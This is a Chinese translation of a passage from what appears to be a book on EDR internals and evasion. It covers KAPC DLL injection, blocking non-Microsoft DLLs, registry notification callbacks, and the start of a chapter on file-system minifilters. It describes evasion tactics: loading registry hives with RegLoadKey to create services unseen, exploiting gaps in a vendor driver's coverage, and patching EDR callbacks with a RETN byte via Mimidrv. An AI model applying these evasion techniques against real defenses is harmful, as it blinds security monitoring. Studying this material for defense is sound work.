这个函数首先接受指向之前创建的 KAPC 结构的指针,以及指向应该排队到其中的线程的指针,在我们的例子中可以是当前线程。紧随其后的是 KAPC_ENVIRONMENT 枚举中的一个成员,它应该是 OriginalApcEnvironment (0),以指示 APC 将在该线程的进程上下文中运行。
接下来的三个参数,即例程,是主要工作发生的地方。KernelRoutine,在我们的示例代码中命名为 OurKernelRoutine(),是在内核模式下执行的函数,在 APC_LEVEL 层级执行,且在将 APC 传递到用户模式之前执行。通常,它只是释放 KAPC 对象并返回。RundownRoutine 函数在目标线程在 APC 被传递之前终止时执行。此函数应释放 KAPC 对象,但为了简化起见,我们在示例中将其留空。NormalRoutine 函数应在 APC 被传递时,在用户模式下的 PASSIVE_LEVEL 层级执行。在我们的例子中,它应该是指向 ntdll!LdrLoadDll() 的函数指针。最后两个参数,ApcMode 和 NormalContext,分别被设置为 UserMode (1) 和作为 NormalRoutine 传递的参数。
队列 APC
最后,驱动程序需要将这个 APC 排队。驱动程序调用未记录的函数 nt!KeInsertQueueApc(),该函数在 列表 5-13 中定义。
BOOL KeInsertQueueApc(
PRKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
列表 5-13:nt!KeInsertQueueApc() 定义
这个函数比之前的函数简单得多。第一个输入参数是 APC,它将是指向我们创建的 KAPC 的指针。接下来是要传递的参数。这些应该是要加载的 DLL 路径和包含路径的字符串的长度。由于这两个成员是我们自定义的 INJECTION_CTX 结构的一部分,我们在这里直接引用这些成员。最后,由于我们没有递增任何东西,可以将 Increment 设置为 0。
在此时,DLL 将被排队注入新进程中,每当当前线程进入可警示状态时,例如调用kernel32!WaitForSingleObject()或Sleep()时。在 APC 完成后,EDR 将开始接收来自包含其钩子的 DLL 的事件,从而允许它监控注入函数内部关键 API 的执行。
防止 KAPC 注入
从 Windows 10586 版本开始,进程可以通过进程和线程缓解策略防止未由微软签名的 DLL 加载到它们中。微软最初实现此功能是为了让浏览器能够防止第三方 DLL 注入到它们中,因为这些 DLL 可能会影响浏览器的稳定性。
缓解策略的工作原理如下。当通过用户模式进程创建 API 创建一个进程时,预计会将指向STARTUPINFOEX结构的指针作为参数传递。该结构内包含指向属性列表的指针,PROC_THREAD_ATTRIBUTE_LIST。一旦初始化,此属性列表支持属性PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY。当设置此属性时,属性的lpValue成员可能是指向包含PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON标志的DWORD的指针。如果设置了此标志,则只允许加载由微软签名的 DLL。如果程序尝试加载未由微软签名的 DLL,将返回STATUS_INVALID_IMAGE_HASH错误。通过利用此属性,进程可以防止 EDR 注入其函数钩子 DLL,从而允许它们在不担心函数拦截的情况下运行。
这个技术的一个警告是,标志仅传递给正在创建的进程,不适用于当前进程。因此,它最适用于依赖 fork&run 架构进行后期利用任务的命令与控制代理,因为每次代理排队任务时,牺牲进程将被创建并应用缓解策略。如果恶意软件作者希望这个属性适用于其原始进程,他们可以利用 kernel32!SetProcessMitigationPolicy() API 及其关联的 ProcessSignaturePolicy 策略。然而,在进程能够调用此 API 时,EDR 的函数钩子 DLL 将已经加载到进程中并放置了钩子,使得这种技术变得不可行。
使用这种技术的另一个挑战是,EDR 供应商已经开始让他们的 DLL 获得微软的认证签名,如图 5-3 所示,这使得它们即使在设置了标志的情况下也能注入到进程中。

图 5-3:CrowdStrike Falcon 的 DLL 经微软签名
在他的文章《使用 blockdlls 和 ACG 保护恶意软件》中,Adam Chester 描述了使用 PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON 标志(通常称为任意代码保护(ACG))来防止修改内存中的可执行区域,这是放置函数钩子的要求。虽然这个标志阻止了函数钩子的放置,但它也在测试期间阻止了许多现成的命令与控制代理的 shellcode 执行,因为大多数依赖于手动将内存页设置为读写执行(RWX)。
注册表通知的工作原理
像大多数软件一样,恶意工具通常会与注册表交互,例如查询值和创建新键。为了捕获这些交互,驱动程序可以注册通知回调例程,当进程与注册表交互时,这些回调将被触发,从而允许驱动程序防止、篡改或简单地记录该事件。
一些攻击技术严重依赖于注册表。我们通常可以通过注册表事件检测到这些技术,前提是我们知道在寻找什么。表 5-1 展示了一些不同的技术、它们交互的注册表键以及它们关联的 REG_NOTIFY_CLASS 类(这是我们稍后将在本节讨论的一个值)。
表 5-1: 注册表中的攻击者技巧及相关 REG_NOTIFY_CLASS 成员
| 技术 | 注册表位置 | REG_NOTIFY_CLASS 成员 |
|---|---|---|
| 运行键持久性 | HKLM\Software\Microsoft\Windows\CurrentVersion\Run | RegNtCreateKey(Ex) |
| 安全支持提供程序(SSP)持久性 | HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages | RegNtSetValueKey |
| 组件对象模型(COM)劫持 | HKLM\SOFTWARE\Classes\CLSID<CLSID>\ | RegNtSetValueKey |
| 服务劫持 | HKLM\SYSTEM\CurrentControlSet\Services<ServiceName> | RegNtSetValueKey |
| Link-Local 多播名称解析(LLMNR)中毒 | HKLM\Software\Policies\Microsoft\Windows NT\DNSClient | RegNtQueryValueKey |
| 安全帐户管理器转储 | HKLM\SAM | RegNt(Pre/Post)SaveKey |
为了探索攻击者如何与注册表交互,可以考虑服务劫持技术。在 Windows 系统中,服务是一种创建长时间运行的进程的方式,这些进程可以手动启动或在启动时自动启动,类似于 Linux 中的守护进程。虽然服务控制管理器管理这些服务,但它们的配置仅存储在注册表中,位于 HKEY_LOCAL_MACHINE (HKLM) 区域。大多数情况下,服务作为特权的 NT AUTHORITY/SYSTEM 账户运行,这使得它们几乎可以完全控制系统,并成为攻击者的一个诱人目标。
恶意攻击者滥用服务的一种方式是通过修改描述服务配置的注册表值。在服务的配置中,存在一个名为 ImagePath 的值,它包含指向服务可执行文件的路径。如果攻击者能够将这个值更改为他们在系统上放置的恶意软件的路径,那么当服务重新启动时(通常是在系统重启时),他们的可执行文件将在这个特权上下文中运行。
由于此攻击过程依赖于注册表值的修改,因此监视 RegNtSetValueKey 类型事件的 EDR 驱动程序可能会检测到攻击者的活动并做出相应反应。
注册注册表通知
要注册一个注册表回调例程,驱动程序必须使用在清单 5-14 中定义的 nt!CmRegisterCallbackEx() 函数。Cm 前缀表示配置管理器,这是内核中负责管理注册表的组件。
NTSTATUS CmRegisterCallbackEx(
PEX_CALLBACK_FUNCTION Function,
PCUNICODE_STRING Altitude,
PVOID Driver,
PVOID Context,
PLARGE_INTEGER Cookie,
PVOID Reserved
);
清单 5-14:nt!CmRegisterCallbackEx() 原型
在本书介绍的所有回调中,注册表回调类型的注册函数最为复杂,其所需的参数与其他函数略有不同。首先,Function 参数是指向驱动程序回调的指针。根据微软的驱动程序代码分析和静态驱动程序验证器,它必须定义为 EX_CALLBACK_FUNCTION,并返回 NTSTATUS。接下来,与对象通知回调类似,Altitude 参数定义回调在回调堆栈中的位置。Driver 是指向驱动程序对象的指针,Context 是一个可选值,可以传递给回调函数,但很少使用。最后,Cookie 参数是一个传递给 nt!CmUnRegisterCallback() 的 LARGE_INTEGER,用于卸载驱动程序时。
当注册表事件发生时,系统会调用回调函数。注册表回调函数使用清单 5-15 中的原型。
NTSTATUS ExCallbackFunction(
PVOID CallbackContext,
PVOID Argument1,
PVOID Argument2
)
清单 5-15:nt!ExCallbackFunction() 原型
传递给函数的参数可能一开始很难理解,因为它们的名称比较模糊。CallbackContext 参数是注册函数中 Context 参数定义的值,Argument1 是来自 REG_NOTIFY_CLASS 枚举中的一个值,表示发生的操作类型,比如读取一个值或创建一个新的键。虽然微软列出了这个枚举的 62 个成员,但其中带有 RegNt、RegNtPre 和 RegNtPost 前缀的成员表示相同的活动,在不同的时间生成通知,因此通过去重列表,我们可以识别出 24 个独特的操作。这些操作列在表 5-2 中。
表 5-2: 剥离的 REG_NOTIFY_CLASS 成员和描述
| 注册表操作 | 描述 |
|---|---|
| DeleteKey | 正在删除一个注册表键。 |
| SetValueKey | 正在为键设置一个值。 |
| DeleteValueKey | 正在从一个键中删除一个值。 |
| SetInformationKey | 正在为一个键设置元数据。 |
| RenameKey | 正在重命名一个键。 |
| EnumerateKey | 正在枚举一个键的子键。 |
| EnumerateValueKey | 正在枚举一个键的值。 |
| QueryKey | 正在读取键的元数据。 |
| QueryValueKey | 正在读取一个键中的值。 |
| QueryMultipleValueKey | 正在查询一个键的多个值。 |
| CreateKey | 正在创建一个新密钥。 |
| OpenKey | 正在打开一个密钥的句柄。 |
| KeyHandleClose | 正在关闭一个密钥的句柄。 |
| CreateKeyEx | 正在创建一个密钥。 |
| OpenKeyEx | 线程正在尝试打开一个现有密钥的句柄。 |
| FlushKey | 正在将密钥写入磁盘。 |
| LoadKey | 正在从文件加载注册表集群。 |
| UnLoadKey | 正在卸载一个注册表集群。 |
| QueryKeySecurity | 正在查询一个密钥的安全信息。 |
| SetKeySecurity | 正在设置一个密钥的安全信息。 |
| RestoreKey | 正在恢复一个密钥的信息。 |
| SaveKey | 正在保存一个密钥的信息。 |
| ReplaceKey | 正在替换一个密钥的信息。 |
| QueryKeyName | 正在查询密钥的完整注册表路径。 |
Argument2 参数是一个指向结构体的指针,该结构体包含与 Argument1 中指定的操作相关的信息。每个操作都有其关联的结构体。例如,RegNtPreCreateKeyEx 操作使用 REG_CREATE_KEY_INFORMATION 结构体。这些信息提供了系统上发生的注册表操作的相关上下文,使得 EDR 能够提取所需的数据,进而做出后续处理决策。
每个 REG_NOTIFY_CLASS 枚举的前操作成员(那些以 RegNtPre 或简单的 RegNt 开头的)使用特定于操作类型的结构。例如,RegNtPreQueryKey 操作使用 REG_QUERY_KEY_INFORMATION 结构。这些前操作回调允许驱动程序在将执行交给配置管理器之前修改或阻止请求的完成。以之前的 RegNtPreQueryKey 成员为例,可以修改 REG_QUERY_KEY_INFORMATION 结构的 KeyInformation 成员,以更改返回给调用者的信息类型。
后操作回调始终使用 REG_POST_OPERATION_INFORMATION 结构,除了 RegNtPostCreateKey 和 RegNtPostOpenKey,它们分别使用 REG_POST_CREATE_KEY_INFORMATION 和 REG_POST_OPEN_KEY_INFORMATION 结构。这个后操作结构包含几个有趣的成员。Object 成员是一个指针,指向完成操作的注册表键对象。Status 成员是系统将返回给调用者的 NTSTATUS 值。ReturnStatus 成员是一个 NTSTATUS 值,如果回调例程返回 STATUS_CALLBACK_BYPASS,则该值将返回给调用者。最后,PreInformation 成员包含指向用于相应前操作回调的结构的指针。例如,如果正在处理的操作是 RegNtPreQueryKey,则 PreInformation 成员将是指向 REG_QUERY_KEY_INFORMATION 结构的指针。
虽然这些回调不像前操作回调那样能提供相同程度的控制,但它们仍然可以让驱动程序在一定程度上影响返回给调用者的值。例如,EDR 可以收集返回值并记录这些数据。
缓解性能挑战
EDR 在接收注册表通知时面临的最大挑战之一就是性能。由于驱动程序无法过滤事件,它会接收到系统上发生的每个注册表事件。如果回调堆栈中的某个驱动程序对接收到的数据执行了一个耗时过长的操作,就可能导致系统性能严重下降。例如,在一次测试中,Windows 虚拟机在空闲状态下每分钟执行了近 20,000 次注册表操作,如图 5-4 所示。如果一个驱动程序对每个事件采取了一些额外的动作,每个动作多耗时一毫秒,这将导致系统性能下降近 30%。

图 5-4:在一分钟内捕获的总计 19,833 个注册表事件
为了减少对性能的不良影响,EDR 驱动程序必须仔细选择它们要监视的内容。它们最常用的方法是仅监视特定的注册表键,并有选择地捕获事件类型。列表 5-16 演示了一个 EDR 如何实现这种行为。
NTSTATUS RegistryNotificationCallback(
PVOID pCallbackContext,
PVOID pRegNotifyClass,
PVOID pInfo)
{
NTSTATUS status = STATUS_SUCCESS;
❶ switch (((REG_NOTIFY_CLASS)(ULONG_PTR)pRegNotifyClass))
{
case RegNtPostCreateKey:
{
❷ PREG_POST_OPERATION_INFORMATION pPostInfo =
(PREG_POST_OPERATION_INFORMATION)pInfo;
`--snip--`
break;
}
case RegNtPostSetValueKey:
{
`--snip--`
break;
}
default:
break;
}
return status;
}
列表 5-16:限定注册表回调通知例程,仅对特定操作有效
在这个示例中,驱动程序首先将输入参数pRegNotifyClass转换为REG_NOTIFY_CLASS结构体进行比较❶,使用的是一个 switch case。这是为了确保它正在与正确的结构体进行交互。然后,驱动程序检查该类是否与其支持的类匹配(在此情况下,键创建和设置值)。如果匹配,pInfo成员将被转换为适当的结构体❷,以便驱动程序可以继续解析事件通知数据。
EDR 开发人员可能希望进一步限制其范围,以减少系统的性能损耗。例如,如果驱动程序希望通过注册表监视服务创建,它只需检查*HKLM:\SYSTEM\CurrentControlSet\Services*路径下的注册表键创建事件。
规避注册表回调
注册表回调存在大量规避机会,其中大多数是由于旨在提高系统性能的设计决策。当驱动程序减少它们监控的注册表事件数量时,它们可能会在遥测中引入盲点。例如,如果它们仅监控 HKLM 中的事件,该项注册表用于配置系统共享的项目,它们将无法检测到在 HKCU 或 HKU 中创建的每个用户注册表键,这些注册表是用于配置特定于单一主体的项目。如果它们仅监控注册表键创建事件,它们将错过注册表键恢复事件。EDR(端点检测与响应)常使用注册表回调帮助保护未经授权的进程免于与其代理关联的注册表键交互,因此可以合理推测,允许的性能开销中有一部分与该逻辑相关。
这意味着传感器可能存在覆盖漏洞,攻击者可以加以利用。例如,列表 5-17 包含了一个流行的端点安全产品的驱动程序反汇编,展示了该驱动程序如何处理多个注册表操作。
switch(RegNotifyClass) {
case RegNtDeleteKey:
pObject = *RegOperationInfo;
local_a0 = pObject;
❶ CmSetCallbackObjectContext(pObject, &g_RegistryCookie), NewContext, 0);
default:
goto LAB_18000a2c2;
case RegNtDeleteValueKey:
pObject = *RegOperationInfo;
local_a0 = pObject;
❷ NewContext = (undefined8 *)InternalGetNameFromRegistryObject(pObject);
CmSetCallbackObjectContext(pObject, &g_RegistryCookie, NewContext, 0);
goto LAB_18000a2c2;
case RegNtPreEnumerateKey:
iVar9 = *(int *)(RegOperationInfo + 2);
pObject = RegOperationInfo[1];
iVar8 = 1;
local_b0 = 1;
local_b4 = iVar9;
local_a0 = pObject;
break;
`--snip--`
列表 5-17:注册表回调例程反汇编
驱动程序使用 switch case 来处理与不同类型注册表操作相关的通知。具体来说,它监控键删除、值删除和键枚举事件。在匹配的情况下,它根据操作类型提取某些值并进行处理。在某些情况下,它还会将上下文应用于对象 ❶,以便进行高级处理。在其他情况下,它会使用提取的数据调用内部函数 ❷。
这里有一些显著的覆盖漏洞。例如,每当调用 RegSetValue(Ex) API 时,驱动程序会通过 RegNtPostSetValueKey 接收通知,而此操作则在 switch 语句中较晚的 case 中处理。该 case 会检测设置注册表键值的尝试,例如创建新服务。如果攻击者需要创建新的注册表子键并在其中设置值,他们将需要找到驱动程序未涵盖的另一种方法。幸运的是,驱动程序并未处理 RegNtPreLoadKey 或 RegNtPostLoadKey 操作,这些操作会检测从文件加载的注册表 hive 作为子键。因此,操作员可能能够利用 RegLoadKey API 来创建并填充他们的服务注册表键,从而有效地创建服务而不被检测到。
回到通知后调用 RegNtPostSetValueKey,我们可以看到该驱动程序展示了一些在大多数产品中常见的有趣行为,如 列表 5-18 所示。
`--snip--`
case RegNtPostSetValueKey:
❶ RegOperationStatus = RegOperationInfo->Status;
❷ pObject = RegOperationInfo->Object;
iVar7 = 1;
local_b0 = 1;
pBuffer = puVar5;
p = puVar5;
local_b4 = RegOperationStatus;
local_a0 = pObject;
}
if ((RegOperationStatus < 0 || (pObject == (PVOID)0x0)) { ❸
LAB_18000a252:
if (pBuffer != (undefined8 *)0x0) {
❹ ExFreePoolWithTag(pBuffer, 0);
NewContext = (undefined8 *)0x0;
}
}
else {
if ((pBuffer != (undefined8 *)0x0 ||
❺ (pBuffer = (undefined8 *)InternalGetNameFromRegistryObject((longlong)pObject),
NewContext = pBuffer, pBuffer != (undefined8 *)0x0) {
uBufferSize = &local_98;
if (local_98 == 0) {
uBufferSize = (ushort *)0x0;
}
local_80 = (undefined8 *)FUN_1800099e0(iVar7, (ushort *)pBuffer, uBufferSize);
if (local_80 != (undefined8 *)0x0) {
FUN_1800a3f0(local_80, (undefined8 *)0x0);
local_b8 = 1;
}
goto LAB_18000a252;
}
}
列表 5-18:注册表通知处理逻辑
这个例程提取关联的REG_POST_OPERATION_INFORMATION结构中的Status ❶ 和Object ❷成员,并将它们存储为本地变量。然后,它检查这些值是否为STATUS_SUCCESS 或 NULL ❸。如果这些值未通过检查,则用于将消息传递给用户模式客户端的输出缓冲区将被释放 ❹,并且为对象设置的上下文将被置为无效。这个行为一开始可能看起来很奇怪,但它与为了清晰起见重新命名的内部函数InternalGetNameFromRegistryObject()有关 ❺。清单 5-19 包含该函数的反汇编代码。
void * InternalGetNameFromRegistryObject(longlong RegObject)
{
NTSTATUS status;
NTSTATUS status2;
POBJECT_NAME_INFORMATION pBuffer;
PVOID null;
PVOID pObjectName;
ulong pulReturnLength;
ulong ulLength;
null = (PVOID)0x0;
pulReturnLength = 0;
❶ if (RegObject != 0) {
status = ObQueryNameString(RegObject, 0, 0, &pulReturnLength);
ulLength = pulReturnLength;
pObjectName = null;
if ((status = -0x3ffffffc) &&
(pBuffer = (POBJECT_NAME_INFORMATION)ExAllocatePoolWithTag(
PagedPool, (ulonglong)pReturnLength, 0x6F616D6C),
pBuffer != (POBJECT_NAME_INFORMATION)0x0)) {
memset(pBuffer, 0, (ulonglong)ulLength);
❷ status2 = ObQueryNameString(RegObject, pBuffer, ulLength, &pulReturnLength);
pObjectName = pBuffer;
if (status2 < 0) {
ExFreePoolWithTag(pBuffer, 0);
pObjectName = null;
}
}
return pObjectName;
}
return (void *)0x0;
}
清单 5-19:InternalGetNameFromRegistryObject()的反汇编
这个内部函数接收一个指向注册表对象的指针,该指针通过传递包含Object成员的本地变量(即< samp class="SANS_TheSansMonoCd_W5Regular_11">REG_POST_OPERATION_INFORMATION结构)传入,并使用nt!ObQueryNameString() ❷提取正在操作的注册表项的名称。这个流程的问题在于,如果操作失败(例如后操作信息结构中的Status成员不是STATUS_SUCCESS),则注册表对象指针会失效,调用对象名称解析函数时无法提取注册表项的名称。这个驱动程序包含条件逻辑来检查这种情况 ❶。
注意
这个特定的函数并不是唯一受此问题影响的 API。我们经常看到类似的逻辑被实现在其他从注册表对象中提取键名信息的函数中,如nt!CmCallbackGetKeyObjectIDEx()。
从操作角度来看,这意味着如果与注册表的交互尝试失败,系统不会生成一个事件,或者至少不会生成一个包含所有相关细节的事件,从而无法创建检测。原因是缺少注册表项的名称。没有对象的名称,事件实际上会显示为“该用户尝试在此时间执行此注册表操作,但未成功”:这对于防御者来说并没有太大作用。
但对于攻击者来说,这个细节非常重要,因为它可能改变进行某些活动时的风险计算。如果针对注册表的操作失败(例如尝试读取一个不存在的键,或尝试创建一个路径拼写错误的新服务),通常是不会被发现的。通过检查驱动程序处理操作后注册表通知时的逻辑,攻击者可以确定哪些失败的操作会避开检测。
通过回调入口覆盖规避 EDR 驱动程序
在本章以及 第三章 和 第四章 中,我们讨论了多种回调通知并探讨了旨在绕过它们的各种规避方法。由于 EDR 驱动程序的复杂性及其不同供应商的实现,无法完全通过这些手段规避检测。相反,通过专注于规避驱动程序的特定组件,操作员可以减少触发警报的可能性。
然而,如果攻击者获得了主机的管理员权限、拥有 SeLoadDriverPrivilege 令牌特权,或遇到一个允许他们写入任意内存的易受攻击的驱动程序,他们可能会选择直接攻击 EDR 的驱动程序。
这个过程最常见的做法是查找系统上注册的回调例程的内部列表,例如在进程通知上下文中使用的 nt!PspCallProcessNotifyRoutines,或图像加载通知使用的 nt!PsCallImageNotifyRoutines。研究人员已经以多种方式公开展示了这种技术。列表 5-20 展示了 Benjamin Delpy 的 Mimidrv 输出。
mimikatz # **version**
Windows NT 10.0 build 19042 (arch x64)
msvc 150030729 207
mimikatz # **!+**
[*] 'mimidrv' service not present
[*] 'mimidrv' service successfully registered
[*] 'mimidrv' service ACL to everyone
[*] 'mimidrv' service started
mimikatz # **!notifProcess**
[00] 0xFFFFF80614B1C7A0 [ntoskrnl.exe + 0x31c7a0]
[00] 0xFFFFF806169F6C70 [cng.sys + 0x6c70]
[00] 0xFFFFF80611CB4550 [WdFilter.sys + 0x44550]
[00] 0xFFFFF8061683B9A0 [ksecdd.sys + 0x1b9a0]
[00] 0xFFFFF80617C245E0 [tcpip.sys + 0x45e0] [00] 0xFFFFF806182CD930 [iorate.sys + 0xd930]
[00] 0xFFFFF806183AE050 [appid.sys + 0x1e050]
[00] 0xFFFFF80616979C30 [CI.dll + 0x79c30]
[00] 0xFFFFF80618ABD140 [dxgkrnl.sys + 0xd140]
[00] 0xFFFFF80619048D50 [vm3dmp.sys + 0x8d50]
[00] 0xFFFFF80611843CE0 [peauth.sys + 0x43ce0]
列表 5-20:使用 Mimidrv 枚举进程通知回调例程
Mimidrv 搜索指示包含注册回调例程的数组开始位置的字节模式。它使用来自 ntoskrnl.exe 内部函数的 Windows 构建特定偏移量。定位回调例程列表后,Mimidrv 通过将回调函数的地址与驱动程序正在使用的地址空间进行关联,确定回调源自哪个驱动程序。一旦定位到目标驱动程序中的回调例程,攻击者可以选择将函数入口点的第一个字节覆盖为 RETN 指令(0xC3)。这样,当执行传递给回调时,函数将立即返回,从而防止 EDR 收集与通知事件相关的遥测数据或采取任何预防措施。
虽然此技术在操作上是可行的,但其部署面临重大技术挑战。首先,未签名的驱动程序不能在 Windows 10 或更高版本上加载,除非将主机置于测试模式。接下来,该技术依赖于特定版本的偏移量,这为工具的使用带来了复杂性和不可靠性,因为 Windows 的新版本可能会更改这些模式。最后,微软已大量投入将 Hypervisor 保护的代码完整性(HVCI)作为 Windows 10 的默认保护,并且在受保护核心系统上默认启用。HVCI 通过保护代码完整性决策逻辑,包括常常被临时覆盖以允许加载未签名驱动程序的< samp class="SANS_TheSansMonoCd_W5Regular_11">ci!g_CiOptions,从而减少加载恶意或已知存在漏洞的驱动程序的能力。这增加了覆盖回调入口点的复杂性,因为系统上只能加载与 HVCI 兼容的驱动程序,从而减少了潜在的攻击面。
结论
尽管不像前面讨论的回调类型那样直观,图像加载和注册表通知回调同样能向 EDR 提供大量信息。图像加载通知可以告诉我们何时加载图像,无论是 DLL、可执行文件还是驱动程序,它们都为 EDR 提供了记录、行动甚至信号注入其功能钩取 DLL 的机会。注册表通知则提供了前所未有的透明度,揭示了影响注册表的操作。迄今为止,面对这些传感器,攻击者可以使用的最强规避策略是利用覆盖范围的空白或传感器本身的逻辑缺陷,或者完全避免传感器,例如通过代理化其工具。
第六章:6 文件系统小型过滤驱动程序

虽然前几章介绍的驱动程序可以监控系统上的许多重要事件,但它们无法检测到一种特别关键的活动类型:文件系统操作。通过使用文件系统小型过滤驱动程序,或简称小型过滤器,终端安全产品可以了解文件的创建、修改、写入和删除情况。
这些驱动程序非常有用,因为它们可以观察攻击者与文件系统的交互,例如将恶意软件写入磁盘。通常,它们与系统的其他组件协同工作。例如,通过与代理扫描引擎的集成,它们可以使 EDR 扫描文件。
小型过滤器当然可以监控本地 Windows 文件系统,即被称为新技术文件系统(NTFS),并由ntfs.sys实现。然而,它们也可以监控其他重要的文件系统,包括命名管道,这是一种双向进程间通信机制,由npfs.sys实现,以及邮件槽,这是一种单向进程间通信机制,由msfs.sys实现。对手工具,特别是指挥与控制代理,往往大量使用这些机制,因此跟踪其活动提供了至关重要的遥测数据。例如,Cobalt Strike 的 Beacon 使用命名管道进行任务分配和点对点代理的链接。
小型过滤器的设计与前几章讨论的驱动程序类似,但本章将介绍它们在 Windows 上的实现、能力和操作的一些独特细节。我们还将讨论攻击者可能利用的规避技术,以干扰这些过滤器。
遗留过滤器与过滤器管理器
在微软引入小型过滤器之前,EDR 开发人员会编写遗留过滤器驱动程序来监控文件系统操作。这些驱动程序会直接位于文件系统堆栈上,紧跟在面向文件系统的用户模式调用之前,如图 6-1 所示。

图 6-1:遗留过滤器驱动程序架构
这些驱动程序因开发和在生产环境中的支持而广为人知,难度很大。2019 年发布的一篇名为《理解小型过滤器:文件系统过滤驱动程序为何以及如何发展》的文章(发表于The NT Insider)突出了开发者在编写遗留过滤器驱动程序时面临的七大难题:
过滤器层次结构混乱
在系统上安装多个遗留过滤器的情况下,架构并未定义这些驱动程序应如何在文件系统堆栈中排序。这使得驱动程序开发者无法知道系统何时加载他们的驱动程序与其他驱动程序的相对顺序。
缺乏动态加载和卸载功能
传统过滤驱动程序无法插入到设备堆栈的特定位置,只能加载到堆栈的顶部。此外,传统过滤驱动程序不能轻松卸载,通常需要完全重启系统才能卸载。
复杂的文件系统堆栈附加与分离
文件系统堆栈如何附加和分离设备的机制极为复杂,开发者必须拥有大量深奥的知识,才能确保他们的驱动程序能够恰当地处理各种边缘情况。
无差别的 IRP 处理
传统过滤驱动程序负责处理发送到设备堆栈的所有中断请求包(IRP),无论它们是否对 IRP 感兴趣。
快速 I/O 数据操作的挑战
Windows 支持一个用于处理缓存文件的机制,称为快速 I/O,它提供了一种替代标准基于数据包的 I/O 模型的方法。它依赖于传统驱动程序中实现的调度表。每个驱动程序处理快速 I/O 请求,并将其传递到堆栈中的下一个驱动程序。如果堆栈中的某个驱动程序缺少调度表,则会禁用整个设备堆栈的快速 I/O 处理。
无法监控非数据快速 I/O 操作
在 Windows 中,文件系统与其他系统组件深度集成,例如内存管理器。例如,当用户请求将文件映射到内存时,内存管理器会调用快速 I/O 回调 AcquireFileForNtCreateSection。这些非数据请求始终绕过设备堆栈,使得传统过滤驱动程序难以收集关于它们的信息。直到 Windows XP 引入了 nt!FsRtlRegisterFileSystemFilterCallbacks(),开发者才能请求这些信息。
递归处理问题
文件系统大量使用递归,因此文件系统堆栈中的过滤器也必须支持递归。然而,由于 Windows 管理 I/O 操作的方式,这并不容易实现。因为每个请求都会经过整个设备堆栈,如果驱动程序处理递归不当,可能会导致死锁或资源耗尽。
为了解决这些限制,微软引入了过滤器管理器模型。过滤器管理器(fltmgr.sys)是一个随 Windows 一起发布的驱动程序,提供过滤器驱动程序在拦截文件系统操作时常用的功能。为了利用这些功能,开发者可以编写最小过滤器。然后,过滤器管理器拦截目标文件系统的请求,并将它们传递给已加载在系统上的最小过滤器,这些过滤器存在于它们自己的排序堆栈中,如图 6-2 所示。
Minifilter 比传统的驱动程序更容易开发,EDR(端点检测和响应)也可以通过在运行系统上动态加载和卸载它们来更轻松地进行管理。通过访问过滤器管理器暴露的功能,Minifilter 使得驱动程序更加简洁,便于维护。微软做出了巨大努力,推动开发人员摆脱传统过滤器模型,转向 Minifilter 模型。它甚至提供了一个可选的注册表值,允许管理员完全阻止传统过滤器驱动程序在系统上的加载。

图 6-2:过滤器管理器和 Minifilter 架构
Minifilter 架构
Minifilter 在多个方面具有独特的架构。首先是过滤器管理器本身的角色。在传统架构中,文件系统驱动程序会直接过滤 I/O 请求,而在 Minifilter 架构中,过滤器管理器在将请求信息传递给系统中加载的 Minifilter 之前,先处理这一任务。这意味着 Minifilter 仅间接地附加到文件系统堆栈上。此外,它们会向过滤器管理器注册自己感兴趣的特定操作,避免了需要处理所有 I/O 请求。
接下来是它们如何与注册的回调例程进行交互。与前几章讨论的驱动程序一样,Minifilter 可以注册操作前(pre-operation)和操作后(post-operation)回调。当发生支持的操作时,过滤器管理器首先调用每个已加载的 Minifilter 中关联的操作前回调函数。一旦 Minifilter 完成操作前例程,它将控制权返回给过滤器管理器,后者调用下一个驱动程序中的回调函数。当所有驱动程序完成操作前回调后,请求会传递给文件系统驱动程序进行处理。接收到 I/O 请求完成后,过滤器管理器以相反的顺序调用 Minifilter 中的操作后回调函数。操作后回调完成后,控制权会被转交回 I/O 管理器,最终传递回调用应用程序。
每个 Minifilter 都有一个高度,这是一个数字,用于标识其在 Minifilter 堆栈中的位置,并决定系统何时加载该 Minifilter。高度解决了困扰传统过滤器驱动程序的排序问题。理想情况下,微软会为生产应用程序的 Minifilter 分配高度,这些值会在驱动程序的注册表键下指定,在Altitude下。微软将高度按加载顺序分组,具体内容请见表 6-1。
表 6-1: 微软的迷你过滤器加载顺序组
| 高度范围 | 加载顺序组名称 | 迷你过滤器角色 |
|---|---|---|
| 420000–429999 | 过滤器 | 传统过滤器驱动程序 |
| 400000–409999 | FSFilter 顶级 | 必须在所有其他过滤器之上附加的过滤器 |
| 360000–389999 | FSFilter 活动监视器 | 观察并报告文件 I/O 的驱动程序 |
| 340000–349999 | FSFilter 恢复删除 | 恢复已删除文件的驱动程序 |
| 320000–329998 | FSFilter 防病毒 | 恶意软件驱动程序 |
| 300000–309998 | FSFilter 复制 | 将数据复制到远程系统的驱动程序 |
| 280000–289998 | FSFilter 持续备份 | 将数据复制到备份介质的驱动程序 |
| 260000–269998 | FSFilter 内容筛选器 | 防止创建特定文件或内容的驱动程序 |
| 240000–249999 | FSFilter 配额管理 | 提供增强文件系统配额,限制卷或文件夹空间的驱动程序 |
| 220000–229999 | FSFilter 系统恢复 | 维护操作系统完整性的驱动程序 |
| 200000–209999 | FSFilter 集群文件系统 | 提供文件服务器元数据的应用程序使用的驱动程序 |
| 180000–189999 | FSFilter HSM | 层级存储管理驱动程序 |
| 170000–174999 | FSFilter 图像处理 | 类似 ZIP 的驱动程序,提供虚拟命名空间 |
| 160000–169999 | FSFilter 压缩 | 文件数据压缩驱动程序 |
| 140000–149999 | FSFilter 加密 | 文件数据加密和解密驱动程序 |
| 130000–139999 | FSFilter 虚拟化 | 文件路径虚拟化驱动程序 |
| 120000–129999 | FSFilter 物理配额管理 | 通过使用物理块计数来管理配额的驱动程序 |
| 100000–109999 | FSFilter 打开文件 | 提供已打开文件快照的驱动程序 |
| 80000–89999 | FSFilter 安全增强 | 应用基于文件的锁定和增强访问控制的驱动程序 |
| 60000–69999 | FSFilter 复制保护 | 检查存储介质上是否存在带外数据的驱动程序 |
| 40000–49999 | FSFilter 底部 | 必须附加在所有其他过滤器下面的过滤器 |
| 20000–29999 | FSFilter 系统 | 保留 |
